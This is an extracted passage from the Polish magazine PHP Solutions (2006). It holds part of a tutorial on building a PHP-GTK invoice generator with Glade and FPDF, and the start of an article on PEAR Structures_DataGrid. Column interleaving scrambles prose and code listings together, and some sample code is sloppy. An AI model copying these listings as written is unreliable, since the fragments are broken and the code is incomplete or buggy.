dego widgetu reprezentuje zestaw znacz- <property name="visible">True</property>
ników XML, których hierarchia odpowiada <property name="homogeneous">False</property>
<property name="spacing">0</property>
hierarchii widgetów.
<child>
Gotowy projekt Glade można już <widget class="GtkLabel" id="label1">
wykorzystać w aplikacji. Z poziomu PHP <property name="visible">True</property>
odbywa się to za pośrednictwem klasy <property name="label" translatable="yes"> Kod: </property>
GladeXML, która przetwarza XML-owy opis <property name="use_underline">False</property>
<property name="use_markup">False</property>
interfejsu i udostępnia naszej aplikacji
<property name="justify">GTK_JUSTIFY_LEFT</property>
zdefiniowane przez niego widgety. Po- <property name="wrap">False</property>
bieranie konkretnych widgetów umożliwia <property name="selectable">False</property>
metoda get_widget(). Jej użycie wymaga <property name="xalign">0.5</property>
jedynie znajomości nazwy komponentu, <property name="yalign">0.5</property>
<property name="xpad">0</property>
który chcemy pobrać z pliku projektu
<property name="ypad">0</property>
Glade. <property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>
<property name="width_chars">-1</property>
<property name="single_line_mode">False</property>
<property name="angle">0</property>
</widget>
<packing>
<property name="padding">0</property>
<property name="expand">False</property>
<property name="fill">False</property>
</packing>
</child>
</widget>
<packing>
<property name="padding">0</property>
<property name="expand">True</property>
<property name="fill">True</property>
</packing>
</child><child><placeholder/></child>
</widget>
</child>
</widget>
</glade-interface>

Rysunek 3. Drzewo widgetów

66 www.phpsolmag.org PHP Solutions Nr 2/2006
Glade Projekty

znajdzie się pole tekstowe o nazwie name,
w trzeciej wstawimy przycisk Wypisz,
a czwarta komórka będzie zawierała ety-
kietę o nazwie result. Rezultat przedsta-
wiamy na Rysunkach 7 i 8.
Program działa następująco: użytkow-
nik wpisuje dowolny tekst w polu name,
a kliknięcie przycisku Wypisz powoduje
ustawienie tekstu etykiety result na
Hello <imię>, gdzie <imię> jest tekstem
wprowadzonym w polu name (patrz Rysu-
nek 9).
Rysunek 4. Okno projektu Jest to bardzo prosty przykład, ale
wystarczy nam do zilustrowania pod-
stawowych możliwości wykorzystania
programu Glade i połączenia wygene-
rowanego za jego pomocą interfejsu
z aplikacją. Pora skorzystać ze zdefinio-
wanego interfejsu – na Listingu 2 przed-
stawiamy odpowiedni kod. Zaczynamy
od utworzenia obiektu klasy GladeXML
i przypisania go zmiennej $glade, po
czym wywołując metodę get_widget()
tego obiektu pobieramy kolejno trzy
potrzebne nam widgety: name, print
i result i tworzymy trzy odpowiadające
im obiekty: $name, $print i $result. Na
Rysunek 5. Okno właściwości dla widgetów GtkEntry, GtkLabel tak utworzonych obiektach możemy już
i GtkButton wykonywać dowolne operacje odpo-
wiednie dla reprezentowanych przez nie
widgetów – zmieniać właściwości, przy-
pisywać funkcje obsługi do sygnałów,
ukrywać komponenty, itd.

Aplikacja
Najwyższy czas na aplikację z prawdzi-
wego zdarzenia: generator faktur. Do
zaprojektowania interfejsu użytkownika
wykorzystamy program Glade, po czym
postępując podobnie, jak w poprzednim
przykładzie, napiszemy kod aplikacji od-
wołujący się do tak utworzonego interfej-
su. Ponieważ faktury będą generowane
w formacie PDF, będziemy dodatkowo
korzystali z FPDF – napisanej w czy-
Rysunek 6. Okno właściwości: zakładki Upakowywanie, Typowe i Sygnały

Rysunek 7. Pierwszy przykład

PHP Solutions Nr 2/2006 www.phpsolmag.org 67
Projekty Glade

stym PHP opensourcowej biblioteki do
generowania plików PDF, pozwalającej Listing 2. Korzystanie z pliku Glade w aplikacji PHP
tworzyć dokumenty zawierające tekst,
<?php
grafikę i inne elementy. $glade = new GladeXML('exemplo1.glade'); // utworzenie obiektu Glade
$name = $glade->get_widget('name'); // pobranie pola tekstowego name
Główne okno programu $print = $glade->get_widget('print'); // pobranie przycisku wypisania
Zaczniemy od zaprojektowania główne- $result = $glade->get_widget('result'); // pobranie etykiety result
$print->connect_simple('clicked', 'onPrint'); // podłączenie przycisku wypisania
go okna interfejsu aplikacji, czyli pierw-
function onPrint(){
szego komponentu na palecie (Rysunek global $name, $result;
10). Po kliknięciu przycisku Okno pojawi $text = $name->get_text(); // pobranie wpisanego tekstu
się pierwsze okno programu, w którym $result->set_text("Hello {$text}"); // ustawienie etykiety result
będziemy układali kolejne widgety. Bez- }
Gtk::Main();
pośrednio w komponencie GtkWindow
?>
można umieścić tylko jeden komponent,
więc powinien to być jeden z dostępnych Listing 3. Generator faktur w PHP (plik Invoice.php)
kontenerów, czyli widgetów dziedziczą-
<?
cych z klasy bazowej GtkContainer.
// Klasa Invoice - obsługuje GUI i inicjuje generowanie faktury
Możemy tu korzystać między innymi ze final class Invoice extends GladeXML{
skrzynek pionowych (GtkVBox) i pozio- private $invoice; // obiekt faktury
mych (GtkHBox), ramek (GtkFrame) czy private $taxes = 0.05; // podatek 5%
układu bezwzględnego (GtkFixed). W tej private $shipping_fee = 0.4; // wysyłka $0,4 na każdą pozycję
private $amount = 0; // liczba pozycji
aplikacji skorzystamy w tego ostatniego
// Wczytanie elementów interfejsu i podłączenie sygnałów
kontenera, co pozwoli nam określać public function __construct(){
bezwzględną pozycję widgetów umiesz- parent::__construct('interface.glade'); // Wywołanie konstruktora GladeXML
czanych w obrębie okna. setlocale(LC_ALL, 'POSIX'); // Ustawienie metody obliczeń
// Podłączenie przycisków
$this->saveButton->connect_simple('clicked',array($this,'saveInvoice'));
Dodawanie grafiki
...
Pora zacząć umieszczać widoczne // Ustawienie dzisiejszej daty faktury
elementy interfejsu w oknie aplikacji. $this->invoiceDate->set_text(date("Y-m-d"));
Na początek wstawimy logo, do czego // Utworzenie struktury do składowania danych
posłuży przycisk palety przedstawiają- $this->model = new GtkListStore(Gtk::TYPE_STRING, Gtk::TYPE_STRING,
Gtk::TYPE_STRING, Gtk::TYPE_STRING);
cy obrazek i odpowiadający widgetowi
$this->itemsList->set_model($this->model);
GtkImage. Obsługiwany jest import ob-
// Utworzenie kolumn
razów w wielu popularnych formatach $column1 = new GtkTreeViewColumn();
(PNG, JPG, XPM i inne). GtkImage ...
pozwala również korzystać z przezro- // Utworzenie obiektu wyświetlania komórki
$cell_renderer1 = new GtkCellRendererText();
czystości (ang. transparency) obrazu.
...
Z palety wybieramy więc Obraz i klika- // Jeden obiekt wyświetlania na kolumnę
my w obrębie utworzonego wcześniej $column1->pack_start($cell_renderer1, true);
obszaru GtkFixed w miejscu, w którym ...
ma się znaleźć grafika, po czym usta- // Ustawienie indeksów
$column1->set_attributes($cell_renderer1, 'text', 0);
wiamy właściwość icon wstawionego
...
obrazu na ścieżkę pożądanego pliku $this->itemsList->append_column($column1);
graficznego (Rysunek 11). Jeśli jest to ...
konieczne, możemy zmienić pozycję // Ustawienie nagłówków kolumn
obrazu na ekranie przesuwając go my- $column1->set_title('Kod');
...
szą lub odpowiednio modyfikując wła-
}
ściwości w zakładce Upakowywanie. // Zwraca obiekt Glade, jeśli żądana właściwość nie istnieje
public function __get($property){
Dodawanie etykiety // Pobranie obiektu Glade
W następnej kolejności dodamy etykie- return parent::get_widget($property);
}
ty, czyli widgety typu GtkLabel. Jedną
// Dodaje pozycję do listy
z istotniejszych nowości w GTK-2 było public function addItem(){
wprowadzenie obsługi frameworka Pan- $product = array(); // utworzenie tablicy produktów
go, pozwalającego za pomocą języka $product[]=$this->productCode->get_text(); //Pobranie danych z formularza
znaczników definiować krój, wielkość, ...
$this->model->append($product); // Dodanie produktu do listy
kolor i styl czcionki i tym samym otwie-
$this->amount+=$this->productQuantity->get_text(); //Zwiększenie liczby pozycji
rającego ogromne możliwości prezenta-
cji tekstu.

68 www.phpsolmag.org PHP Solutions Nr 2/2006
Glade Projekty

Rysunek 8. Pierwszy przykład c.d.

Umieszczenie komponentu GtkLabel stępnie przechodzimy do edycji właściwo- Składnia znaczników formatujących
w obszarze GtkFixed sprowadza się do ści Label, gdzie wykorzystamy możliwości jest bardzo podobna do analogicz-
kliknięcia przycisku GtkLabel na palecie, znaczników formatujących (wymaga to nych tagów języka HTML – atrybuty
a następnie kliknięcia w oknie projektu dodatkowo włączenia właściwości Użycie czcionki ustawimy przy użyciu <span
tam, gdzie ma się znaleźć etykieta. Na- języka znaczników). font_desc="Times Bold Italic 10">,
do określenia koloru (na przykład)
Listing 4. Generator faktur w PHP (plik Invoice.php), c.d. czerwonego posłuży znacznik <span
foreground=red>, a tagi <b>, <i> i <u>
// Obliczenie sumy pośredniej określają odpowiednio pogrubienie, kur-
$this->subTotal->set_text($this->subTotal->get_text()+ sywę i podkreślenie. Zarówno API
$this->productPrice->get_text());
Pango, jak i obsługiwane znaczniki są
// Obliczenie kosztu wysyłki
$this->Shipping->set_text($this->amount*$this->shipping_fee); szczegółowo opisane na stronie http://
// Obliczenie kwoty podatku developer.gnome.org/doc/API/2.0/pango/
$this->Taxes->set_text($this->subTotal->get_text()*$this->taxes); PangoMarkupFormat.html.
// Podliczenie łącznej sumy Analogicznie dodajemy etykiety Klient,
$this->Total->set_text($this->subTotal->get_text() +
Nazwa, Adres, Faktura, Data, Produkt,
$this->Shipping->get_text()+$this->Taxes->get_text());
// Opróżnienie pól tekstowych Kod, Opis, Ilość, Cena, Suma pośrednia,
$this->productCode->set_text(''); Podatki, Koszt wysyłki i Suma.
...
// Przeniesienie kursora do pola kodu produktu Dodawanie pola tekstowego
$this->window->set_focus($this->productCode);
Teraz dodamy odpowiadające poszcze-
}
// Metoda clearItems() – opróżnia listę produktów gólnym etykietom pola tekstowe (widgety
public function clearItems(){ GtkEntry), poczynając od pola nazwy
$this->model->clear(); // usunięcie elementów listy klienta, czyli customerName. Pozycję każ-
$this->amount = 0; dego pola dopasowujemy korzystając
$this->subTotal->set_text(0); // wyzerowanie sumy pośredniej
z właściwości w zakładce Upakowywanie
...
// zwiększenie numeru faktury oraz właściwości wysokości i szerokości
$this->invoiceNumber->set_text($this->invoiceNumber->get_text() + 1); w zakładce Typowe. Cały proces powta-
}
// Generuje fakturę
public function saveInvoice(){
include_once('InvoicePdf.class.php'); // dołączenie klasy faktury
$this->invoice = new InvoicePdf();
// Ustawienie numeru i daty faktury
$this->invoice->setNumber($this->invoiceNumber->get_text());
$this->invoice->setDate($this->invoiceDate->get_text());
// Utworzenie obiektu klienta
$customer->name = $this->customerName->get_text();
...
// Ustawienie danych klienta na fakturze
$this->invoice->setCustomer($customer);
// Przejście w pętli po wszystkich produktach
$iter = $this->model->get_iter_first();
while ($iter){
$code = $this->model->get_value($iter, 0);
...
// Dodanie danych produktu do obiektu faktury
Rysunek 9. Ostateczny wygląd pierw-
szego przykładu

PHP Solutions Nr 2/2006 www.phpsolmag.org 69
Projekty Glade

Rysunek 12. Widget GtkTreeView w
trybie listy

faktury i Data. W sekcji Klient znajdu-
ją się etykiety i pola tekstowe Nazwa
Rysunek 10. Paleta widgetów Rysunek 11. Właściwości świeżo doda- klienta, Adres i Telefon. W sekcji Pro-
nego obrazka dukt widoczne są podobne etykiety i po-
rzamy dla pozostałych pól tekstowych, la tekstowe: Kod produktu, Opis, Ilość
o nazwach: aplikacji). W nagłówku widnieje logo i Cena. Jest tam również przycisk Do-
Gnome Foundation, tytuł programu oraz daj, którego naciśnięcie powoduje wczy-
customerAddress, customerPhone, adres sformatowany z wykorzystaniem tanie danych produktu z pól tekstowych
productCode, productDescription, znaczników Pango, jak również Numer i dodanie ich do listy. W prawym dolnym
productQuantity, productPrice,
subTotal, Taxes, Shipping, Total,
Listing 5. Generator faktur w PHP (plik Invoice.php), c.d.
invoiceNumber i invoiceDate.
$this->invoice->addItem($code, $description, $quantity, $price);
Dodawanie przycisku $iter = $this->model->iter_next($iter);
}
Pora ożywić interfejs dodając do niego kil-
// Ustawienie danych stopki
ka przycisków. Pierwszy przycisk otrzyma $this->invoice->setFooter($this->subTotal->get_text(),
nazwę addButton i przypiszemy mu jedną ...
ze standardowych ikon (+Add). Naciśnię- $this->Total->get_text());
cie tego przycisku będzie powodować // Pobranie nazwy pliku od użytkownika
$dialog = new GtkFileChooserDialog('Zapisz...', NULL,
wczytanie wprowadzonych w polach tek-
Gtk::FILE_CHOOSER_ACTION_SAVE,array(Gtk::STOCK_OK,Gtk::RESPONSE_OK,
stowych danych produktu (kodu, opisu, Gtk::STOCK_CANCEL, Gtk::RESPONSE_CANCEL));
ilości i ceny) i dodanie ich do listy produk- $response = $dialog->run();
tów, którą utworzymy w kolejnym etapie. if ($response == Gtk::RESPONSE_OK){
Ostateczny interfejs aplikacji będzie też // Wygenerowanie dokumentu faktury do pliku o podanej nazwie
$this->invoice->Generate($dialog->get_filename());
zawierał kilka innych przycisków, które
}
tworzymy w analogiczny sposób. Nazwy $dialog->destroy();
wszystkich widgetów interfejsu są widocz- $this->clearItems();
ne na Rysunku 13. }
}
$application = new Invoice; // Utworzenie instancji interfejsu
Dodawanie widoku listy Gtk::Main();
Jako ostatni element interfejsu dodamy ?>
widget typu GtkTreeView, pozwalający
wyświetlać listy i drzewa. Jedną z jego Listing 6. Klasa generująca dokument PDF (plik InvoicePdf.class.php)
najważniejszych cech jest całkowite od-
<?
dzielenie danych od ich prezentacji, // Klasa InvoicePdf: generuje dokument faktury korzystając z biblioteki FPDF
dzięki czemu cały model danych dla class InvoicePdf{
komponentu GtkTreeView (Rysunek 12) private $pdf; // obiekt klasy FPDF
można stworzyć dopiero w kodzie aplika- private $number; // numer faktury
private $customer; // obiekt klienta
cji, wykorzystując struktury i typy danych
private $items; // tablica produktów
odpowiednie dla używanego języka (w public function __construct(){
naszym przypadku PHP). Dla potrzeb tej // Ustawienie katalogu czcionek FPDF
aplikacji wykorzystamy GtkTreeView jako define('FPDF_FONTPATH', getcwd() . '/fpdf/font/');
listę, której kolumny dodamy już w kodzie include_once 'fpdf/fpdf.php'; // dołączenie biblioteki FPDF
// Utworzenie nowego dokumentu PDF
programu.
$this->pdf = new FPDF('P', 'pt', array(596,540));
$this->pdf->SetMargins(2,2,2); // ustawienie marginesów
Ostateczny interfejs aplikacji }
GUI generatora faktur jest już gotowe ...
– przedstawia je Rysunek 13 (w trybie }
edycji) i Rysunek 14 (w ostatecznej

70 www.phpsolmag.org PHP Solutions Nr 2/2006
Glade Projekty

Rysunek 13. Ostateczny interfejs gene- Rysunek 14. Ostateczny interfejs gene- Rysunek 15. Wygenerowana faktura
ratora w edytorze ratora w działającej aplikacji

rogu wyświetlane są automatycznie nieistniejącego obiektu, a jeśli tak się to dokument PDF, którego nagłówek (ob-
wypełniane pola Suma pośrednia, Po- stanie – utworzymy odpowiedni obiekt rysowany prostokątem) zawiera w lewym
datek, Koszty wysyłki i Suma. Dla po- wywołując metodę get_widget() klasy górnym rogu logo, nazwę i adres firmy,
trzeb przykładowej aplikacji przyjmiemy GladeXML. W praktyce oznacza to, że a w prawym górnym rogu – numer fak-
podatek 5% i koszt wysyłki $0,40 dla dostęp np. do widgetu customerName tury i datę. Niżej, w szarym polu podane
każdej pozycji. Na rysunku nazwa każ- możemy zawsze uzyskać przez $this- są dane klienta (Nazwa, Adres i Telefon),
dego widgetu jest wyróżniona kolorem >customerName, a do przycisku Zapisz a na środku strony znajduje się lista
czerwonym i ujęta w nawiasy kątowe – przez $this->saveButton. produktów. Dla każdej pozycji na liście
<> (oczywiście, w aplikacji nazwy te nie Musimy jeszcze podłączyć przyciski podane są Kod, Opis, Ilość i Cena, przy
będą widoczne). do odpowiednich sygnałów i funkcji obsłu- czym nazwy kolumn są umieszczone
gi. Gdy użytkownik wprowadzi dane kolej- na ciemnoszarym tle. W stopce faktury
Główny kod programu nej pozycji faktury i kliknie przycisk Dodaj, podane są Suma pośrednia, Podatek,
Na Listingach 3, 4 i 5 przedstawiamy kod zostanie wykonana metoda addItem(), Koszt wysyłki i Suma, a wszystkie kolory
głównego pliku aplikacji (plik invoice.php). która doda informacje o danym produkcie są identyczne do zdefiniowanych w inter-
Całość zaczyna się definicją klasy do listy. Kliknięcie przycisku Zapisz spo- fejsie Glade.
invoice, rozszerzającej klasę GladeXML. woduje wywołanie metody saveInvoice().
Przyjrzyjmy się bliżej konstruktorowi tej Wyświetla ona okno dialogowe klasy Podsumowanie
klasy. Jego działanie rozpoczyna się wy- GtkFileChooserDialog, w którym użytkow- Tak oto stworzyliśmy działający genera-
wołaniem konstruktora klasy nadrzędnej nik podaje nazwę tworzonego pliku, a na- tor faktur i pokazaliśmy, jak szybko i ła-
(czyli GladeXML) z argumentem w postaci stępnie inicjuje obiekt klasy InvoicePdf, two przebiega generowanie graficznych
nazwy pliku zawierającego utworzony co powoduje wygenerowanie pliku PDF interfejsów użytkownika z pomocą pro-
wcześniej interfejs aplikacji (interface.gla- z fakturą. Po wygenerowaniu pliku numer gramu Glade. Przy okazji rozprawiliśmy
de). Kolejny wiersz ustawia tryb POSIX faktury jest zwiększany o jeden, a lista po- się z obiegową opinią, że PHP nadaje
dla obliczeń. zycji jest opróżniana. się tylko do pisania aplikacji działających
Następną ważną czynnością jest po- po stronie serwera. Połączenie PHP5,
łączenie sygnałów przycisków interfejsu Generowanie pliku PDF rozszerzenia PHP-GTK i programu Gla-
z odpowiednimi funkcjami obsługi. Wyko- Klasa InvoicePdf odpowiada za tworzenie de daje bardzo dobre wyniki i można
rzystamy do tego celu metodę connect_ pliku PDF (Listing 6). Inicjuje ona obiekt je polecić każdemu, kto chce tworzyć
simple() przycisków $this->saveButton, klasy FPDF i udostępnia kilka metod: wszechstronne aplikacje z interfejsem
$this->clearButton i $this->addButton, setCustomer() ustawiającą dane klienta graficznym, korzystając przy tym z uzna-
służących odpowiednio do zapisywania (nazwę, adres i telefon), setFooter() nych i sprawdzonych technologii. 
danych, opróżniania pól tekstowych ustawiającą informacje podawane w stop-
i dodawania nowego produktu do listy. ce faktury (sumę pośrednią, koszt wy-
Tworzenie modelu danych samej listy jest syłki, podatek i łączną sumę), addItem()
obsługiwane osobno. dodającą produkt do listy oraz metodę
Oczywiście, pobieranie obiektu inter- Generate(), która pobiera wszystkie nie-
O autorze
fejsu z pliku za każdym razem, gdy jest zbędne informacje i tworzy odpowiedni do- Pablo Dall’Oglio jest autorem pierwszej
on potrzebny, byłoby nieco kłopotliwe. kument PDF korzystając z biblioteki FPDF. na świecie książki o PHP-GTK. Jest też
twórcą programów Agata Report (http://
Aby ułatwić sobie życie, skorzystamy Gotowa faktura jest otwierana w wybranej
www.agatareports.com) i Tulip Editor
z jednej z nowych możliwości PHP5: przeglądarce plików PDF. (http://tulip.solis.coop.br), jak również ko-
magicznej metody __get(), przechwy- ordynatorem projektu GNUTeca (http://
tującej wszystkie próby pobrania właści- Gotowa faktura www.gnuteca.org.br) – systemu open
source do zarządzania bibliotekami.
wości obiektu. Za jej pomocą będziemy Na Rysunku 15 przedstawiamy owoc
Kontakt z autorem: pablo@dalloglio.net
sprawdzać, czy nie zażądano atrybutów naszej pracy, czyli gotową fakturę. Jest

PHP Solutions Nr 2/2006 www.phpsolmag.org 71
PEAR

Structures_DataGrid
dla danych tabelarycznych
Stopień trudności: 
Aaron Wormus

Tworzenie prostych i estetycznych
prezentacji danych tabelarycznych w PHP
powinno być równie łatwe, jak za pomocą
arkuszy kalkulacyjnych czy edytorów
HTML i sprowadzać się jedynie do wyboru
odpowiedniego narzędzia i ustawienia jego
parametrów. Temu celowi służy Structures_
DataGrid, pozwalając dodatkowo na swobodny
wybór źródła danych i formy prezentacji, a także
eksport wyników do takich formatów, jak XLS
(MS Excel) czy CSV.

O
sobom programującym pod wyświetlić wynik w postaci tabeli lub
Windows dobrze znany jest przekonwertować go do formatu, dla któ-
komponent DataGrid, pozwala- rego istnieje sterownik prezentacji. W Ta-
jący łatwo wyświetlać dane tabelaryczne. beli 1 pokazujemy wybór udostępnianych
Również twórcy aplikacji internetowych przez rozszerzenie Structures_DataGrid
w środowisku .NET mają do dyspozycji możliwości wczytywania i prezentacji
podobne narzędzie. Natomiast dla PHP danych.
do niedawna nie istniała żadna uznana
implementacja datagridu. Programiści, Do dzieła
którzy potrzebowali z niego skorzystać Zaczniemy od przykładów wykorzysta-
byli więc zmuszeni pisać własną wersję nia rozszerzenia Structures_DataGrid,
datagridu lub zadowalać się niedoskona- a następnie do rozwiązań, w których
łą implementacją komercyjną.
Lukę tę doskonale wypełnia roz-
Co powinieneś wiedzieć...
szerzenie PEAR Structures_DataGrid. Powinieneś znać podstawy PHP i ob-
Oprócz opcji odczytywania danych z ba- sługi kanałów RSS. Przydatna będzie
zy i wiązania ich z tabelą HTML oferuje również wiedza o graficznych interfej-
W SIECI także dużą elastyczność dotyczącą po- sach użytkownika (GUI) i występują-
cym w nich elemencie datagrid.
bierania i prezentacji danych. Oznacza

1. pear.php.net/package/
to, że w ramach Structures_DataGrid Co obiecujemy...
Structures_DataGrid można np. zaimportować dane z pliku Dowiesz się jak przy pomocy PEAR::
– PEAR-owy pakiet Structu- XML korzystając ze sterownika obsługu- Structures_DataGrid tworzyć efektowne
res_DataGrid prezentacje danych tabelarycznych po-
2. http://datagrid.webitecture.org jącego to źródło danych, wybrać pola, chodzących z różnych źródeł.
– informacje o DataGrid które mają być widoczne, a następnie

72 www.phpsolmag.org PHP Solutions Nr 2/2006
DataGrid PEAR

będziemy używać sterowników i dostęp- Kod! Pokaż kod!
nych w pakiecie Structures_DataGrid Przyjrzyjmy się działaniu klasy Structures F ir st N am e L ast N am e E m ail

możliwości formatowania oraz roz- _DataGrid w praktyce. Na Listingu 1 Aaron Wormus aaron@wormus.com
szerzania funkcjonalności tej biblio- przedstawiamy przykład, w którym ko- Clark Kent clark@kent.com
teki. rzystamy ze źródła danych Array oraz
1 2 »
domyślnego sterownika prezentacji
Instalacja rozszerzenia HTML_Table. W czeterech liniach kodu
Structures_DataGrid (nie licząc wierszy do zdefiniowana da- Rysunek 1. DataGrid w działaniu
Structures_DataGrid posiada kilka pakie- nych) zbudowaliśmy działający datagrid – pierwszy przykład
tów zależnych, których instalacja nie jest z możliwością sortowania!
obowiązkowa. Dla naszego artykułu zain- Po dołączeniu pliku kolejnej klasy W tej samej linii przez parametr
stalujemy Structures_DataGrid, wpisując Structures_DataGrid tworzymy jej in- konstruktora ustawimy liczbę wyświe-
polecenie: stancję, którą nazwiemy $dg. Istotne tlanych jednocześnie na ekranie wierszy
jest, aby dokonać tego przez referencję, tabeli wynikowej, co pozwoli nam zoba-
pear install --alldeps § czyli poprzedzając słowo kluczowe new czyć działanie mechanizmu stronico-
structures_datagrid-beta. operatorem &. wania.
Następnie dowiązujemy dane do
Listing 1. Wyświetlanie datagridu zawierającego nazwiska i adresy e-mail pobrane obiektu wywołując metodę bind(), po
z tablicy czym wyświetlamy wynikowy datagrid za
pomocą metody render(). Ponieważ ko-
require_once('Structures/DataGrid.php'); rzystamy z domyślnego sterownika pre-
zentacji HTML_Table, dostęp do kolejnych
$data = array(
array('First Name' => 'Aaron','Last Name' => 'Wormus','Email' => 'aaron@wormus.com'), stron uzyskujemy za pośrednictwem
array('First Name' => 'Clark','Last Name' => 'Kent','Email' => 'clark@kent.com'), metody getPaging() sterownika. Nasza
array('First Name' => 'Peter','Last Name' => 'Parker','Email' => 'peter@parker.com'), tabela jest gotowa – przedstawiamy ją
array('First Name' => 'Bruce','Last Name' => 'Wayne','Email' => 'bruce@wayne.com') na Rysunku 1.
);

$dg =& new Structures_DataGrid('2'); Korzystanie
$dg->bind($data); ze źródeł danych
$dg->render(); W praktyce przeważnie nie będziemy
pobierali danych z tablicy, tylko ze źródła
echo $dg->renderer->getPaging();
zewnętrznego. Służą do tego sterowniki
Listing 2. Wczytanie danych klientów za pomocą sterownika źródła danych CSV źródeł danych dla klasy Structures_
i wyświetlenie ich domyślnym sterownikiem prezentacji (HTML_Table) DataGrid.
Nowe źródło tworzymy za pomocą
require_once('Structures/DataGrid.php');
metody create() klasy Structures_
require_once('Structures/DataGrid/DataSource.php');
DataGrid_DataSource. Przyjmuje ona trzy

$opt=array( argumenty: lokalizację danych, tablicę
'delimiter' => ',','fields' => array(0, 1, 2), parametrów danego sterownika oraz sta-
'labels' => array("First Name","Last Name","Email"), łą określającą typ sterownika.
'generate_columns' => true);
Na Listingu 2 przedstawiamy przy-
kład wykorzystania sterownika CSV do
$data = Structures_DataGrid_DataSource::create('data.csv',
$opt, DATAGRID_SOURCE_CSV); wczytania danych z listy klientów, którą
$dg =& new Structures_DataGrid(); eksportujemy z książki adresowej. Pa-
$dg->bindDataSource($data); rametrami tego sterownika są kolejno:
$dg->render();
znak rozdzielający pola, numery wy-
świetlanych pól, etykiety tych pól oraz
Listing 3. Eksport danych do pliku MS Excel
znacznik określający to, czy chcemy by
// Utworzenie obiektu Structures_Datagrid korzystającego ze sterownika XLS kolumny były generowane automatycznie
$dg =& new Structures_DataGrid(null, null, DATAGRID_RENDER_XLS); z nagłówkami. Ręcznym generowaniem
kolumn zajmiemy się nieco później, więc
// Ustawienie nazwy pliku wyjściowego
$dg->renderer->setFilename('datagrid.xls'); na razie ustawimy ostatni parametr jako
true.
// Dowiązanie danych i wygenerowanie wyników Pozostaje już tylko dowiązać dane
$dg->bindDataSource($data); do obiektu datagridu wywołując metodę
$dg->render();
bindDataSource(), a następnie wyświe-
tlić wynik. To koniec tego etapu.

PHP Solutions Nr 2/2006 www.phpsolmag.org 73
PEAR DataGrid

Generujemy arkusz
Excela przy użyciu Listing 4. Modyfikacja ustawień prezentacji danych dla sterownika HTML_Table
sterownika prezentacji ...
Mamy już obiekt datagridu pobierający $dg =& new Structures_DataGrid(2, null, DATAGRID_RENDER_TABLE);
dane z pliku CSV i wyświetlający je $dg->renderer->setTableHeaderAttributes(array('bgcolor' => '#3399FF'));
w postaci tabeli HTML. Skorzystajmy $dg->renderer->setTableOddRowAttributes(array('bgcolor' => '#CCCCCC'));
teraz z innych możliwości oferowanych $dg->renderer->setTableEvenRowAttributes(array('bgcolor' => '#EEEEEE'));

przez sterowniki prezentacji i wyekspor-
// Zdefiniowanie atrybutów tabeli
tujmy dane do dokumentu MS Excel. $dg->renderer->setTableAttribute('width', '100%');
W tym celu w kodzie z Listingu 2 wpro- $dg->renderer->setTableAttribute('cellspacing', '1');
wadzimy modyfikacje pokazane na Li-
stingu 3. Zmianie ulega jedynie fragment // Ustawienie ikon sortowania
$dg->renderer->sortIconASC = '&uarr;';
związany z obsługą obiektu $dg.
$dg->renderer->sortIconDESC = '&darr;';
Tak oto mamy działający konwerter $dg->bind($data);
plików CSV na XLS. Sterownik XLS nie ...
wykorzystuje wprawdzie pełni możliwo-
ści klasy Spreadsheet_Excel_Writer, Listing 5. Rozszerzanie klasy Structures_DataGrid
ale tyle na początek nam wystarczy. require('Structures/DataGrid.php');
Wprowadzenie innych sterowników
wymaga jedynie zmiany wartości stałej class myDataGrid extends Structures_DataGrid {
przekazywanej konstruktorowi obiektu
function myDataGrid($limit = null, $page = 0){
Structures_DataGrid. Na Rysunku 2
parent::Structures_DataGrid($limit, $page);
pokazujemy utworzony w ten sposób $this->renderer->setTableAttribute('width', '100%');
arkusz Excela.
// ... Tu reszta kodu formatującego ...
Upiększanie wyników $this->renderer->sortIconDESC = '&darr;'; } }
$dg =& myDataGrid();
Wiemy już, jak utworzyć i skonfigurować
...
obiekt Structures_DataGrid. Pozostaje
upiększenie prezentacji wyników. Ste- Listing 6. Ręczne dodawanie kolumn tabeli i wczytywanie danych ze źródła RSS
rowniki prezentacji udostępniają opcje
formatowania. Użyjemy domyślnego require_once('Structures/DataGrid/DataSource.php');

sterownika HTML_Table i skorzystamy
// Określenie kolumn pobieranych ze źródła RSS
z kilku opcji formatowania. Spójrzmy $options = array('fields' => array('title', 'link'));
na Listing 4: podczas tworzenia obiektu $rss = "http://rss.slashdot.org/Slashdot/slashdot";
Structures_DataGrid przekazywane są $ds = Structures_DataGrid_DataSource::create($rss, $options, DATAGRID_SOURCE_RSS);
inne argumenty. Drugi argument wskazu-
// Utworzenie instancji rozszerzonej klasy DataGrid
je stronę, która ma być pokazana, a trze-
$dg =& new myDataGrid;
ci sterownik prezentacji używany do wy-
świetlenia datagridu. Jawne ustawianie // Utworzenie trzech kolumn
sterownika DATAGRID_RENDER_TABLE nie $titleCol = new Structures_DataGrid_Column('Title', 'title');
jest konieczne, gdyż jest domyślnie włą- $funcCol = new Structures_DataGrid_Column('Function', null);

czony, zdefiniujemy go więc wyłącznie
// Dodanie metod formatujących
dla zwiększenia czytelności kodu. $titleCol->Setformatter('printLink()');
Po utworzeniu obiektu datagridu $funcCol->Setformatter('sendLink()');
i przypisania go do zmiennej $dg, mo-
żemy się nieco pobawić prezentacją. // Dodanie kolumn
$dg->addColumn($titleCol);
Jak pokazuje przykładowy kod, atrybuty
$dg->addColumn($funcCol);
prezentacji można ustawiać na pozio-
mie tabeli, nagłówków kolumn, a nawet // Dowiązanie danych do datagridu i wygenerowanie wyniku
wierszy parzystych i nieparzystych. Ste- $dg->bindDataSource($ds);
rownik HTML_Table jest jednym z bogat- $dg->render();

szych w opcje formatowania, więc nasz
Listing 7. Metody tworzące odsyłacze do wydrukowania strony WWW
przykład ilustruje tylko niewielki podzbiór i przesłania adresu
jego możliwości.
Na koniec dodamy jeszcze ikony function printLink($params){$data = $params['record'];
return "<a href='{$data[link]}'>$data[title]</a>"; }
strzałek do sortowania w porządku
rosnącym i malejącym, wyświetlane
function sendLink($params){$data = $params['record']; $link = urlencode($data["link"]);
w nagłówku kolumny, wg której sortuje- return "<a href='send2friend.php?url=$link'>Wyślij adres znajomemu</a>"; }
my. W tym przykładzie skorzystamy z en-

74 www.phpsolmag.org PHP Solutions Nr 2/2006
DataGrid PEAR

Tabela 1. Sterowniki źródeł danych i prezentacji

Sterowniki źródeł danych Sterowniki prezentacji

Podstawowy sterownik, importujący dane
Array Console Wyświetla datagrid jako tabelę czytelną przy pracy w konsoli.
z tablicy.

Przetwarza dane rozdzielane przecinkami
CSV CSV Przetwarza dane do formatu tekstowego CSV.
pobrane z plików CSV.

